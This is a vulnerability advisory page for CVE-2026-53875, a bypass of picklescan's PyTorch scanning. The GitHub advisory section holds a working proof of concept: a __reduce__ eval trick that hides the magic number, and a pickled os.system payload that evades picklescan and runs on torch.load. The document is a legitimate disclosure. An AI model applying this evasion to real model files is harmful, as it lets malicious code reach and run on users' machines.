CVE-2026-53875
JSON

7.1high

picklescan - Scanning Bypass via Dynamic Eval in scan_pytorch

Severity
7.1high CVSS:4.0 by VulnCheck
Exploit likelihood
0.55% (higher than 47% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
VulnCheck
Also known as
GHSA-97f8-7cmv-76j2PYSEC-2026-2873

Description

picklescan before 1.0.3 contains a scanning bypass vulnerability in the scan_pytorch function that allows attackers to embed malicious magic numbers via dynamic eval using the __reduce__ trick. Attackers can craft malicious PyTorch payloads that evade picklescan detection while remaining executable, enabling arbitrary code execution when loaded with torch.load().

Affected

Product or packageVersionsReported by
picklescan picklescanbefore 1.0.3
Not affected: 1.0.3
CVE List
picklescan (PyPI)before 1.0.3GitHub Advisory Database, PyPA Advisory Database

All scores

VulnCheck7.1high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
PyPA Advisory DatabaseNot scored CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Classification

CWE-95CWE-184

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

picklescan before 1.0.3 contains a scanning bypass vulnerability in the scan_pytorch function that allows attackers to embed malicious magic numbers via dynamic eval using the __reduce__ trick. Attackers can craft malicious PyTorch payloads that evade picklescan detection while remaining executable, enabling arbitrary code execution when loaded with torch.load().

GitHub Advisory Database
Summary

This is a scanning bypass to scan_pytorch function in picklescan. As we can see in the implementation of get_magic_number() that uses pickletools.genops(data) to get the magic_number with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses pickle_module.load() to get this magic_number. For this implementation difference, we then can embed the magic_code into the PyTorch file via dynamic eval on the \_\_reduce\_\_ trick, which can make the pickletools.genops(data) cannot get the magic_code in INT or LONG type, but the pickle_module.load() can still return the same magic_code, eading to a bypass.

PoC
Attack Step 1

we can edit the source code of the function _legacy_save() as follows:

    class payload:
        def __reduce__(self):
            return (eval, ('MAGIC_NUMBER',))

    pickle_module.dump(payload(), f, protocol=pickle_protocol)
Attack Step 2

with the modified version of PyTorch, we run the following PoC to generate the payload.pt:

import torch 

class payload:
    def __reduce__(self):
        return (__import__('os').system, ('touch /tmp/hacked',))

torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)
Picklescan result
ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0
Victim Step
import torch
torch.load('./payload.pt', weights_only=False)

then you can find the illegal file /tmp/hacked created in your local system.

Impact

Craft malicious PyTorch payloads to bypass picklescan, then recall ACE/RCE.

NVD (es)

picklescan anterior a la versión 1.0.3 contiene una vulnerabilidad de omisión de escaneo en la función scan_pytorch que permite a los atacantes incrustar números mágicos maliciosos mediante evaluación dinámica utilizando el truco __reduce__. Los atacantes pueden crear cargas útiles maliciosas de PyTorch que evaden la detección de picklescan mientras permanecen ejecutables, lo que permite la ejecución de código arbitrario cuando se cargan con torch.load().

References

Sources

SourceRecordLicence
CVE ListCVE-2026-53875 changed 2026-11-08CVE Terms of Use
GitHub Advisory DatabaseGHSA-97f8-7cmv-76j2 changed 2026-07-13CC-BY-4.0
NVDCVE-2026-53875 changed 2026-10-26Public domain
PyPA Advisory DatabasePYSEC-2026-2873 changed 2026-07-13CC-BY-4.0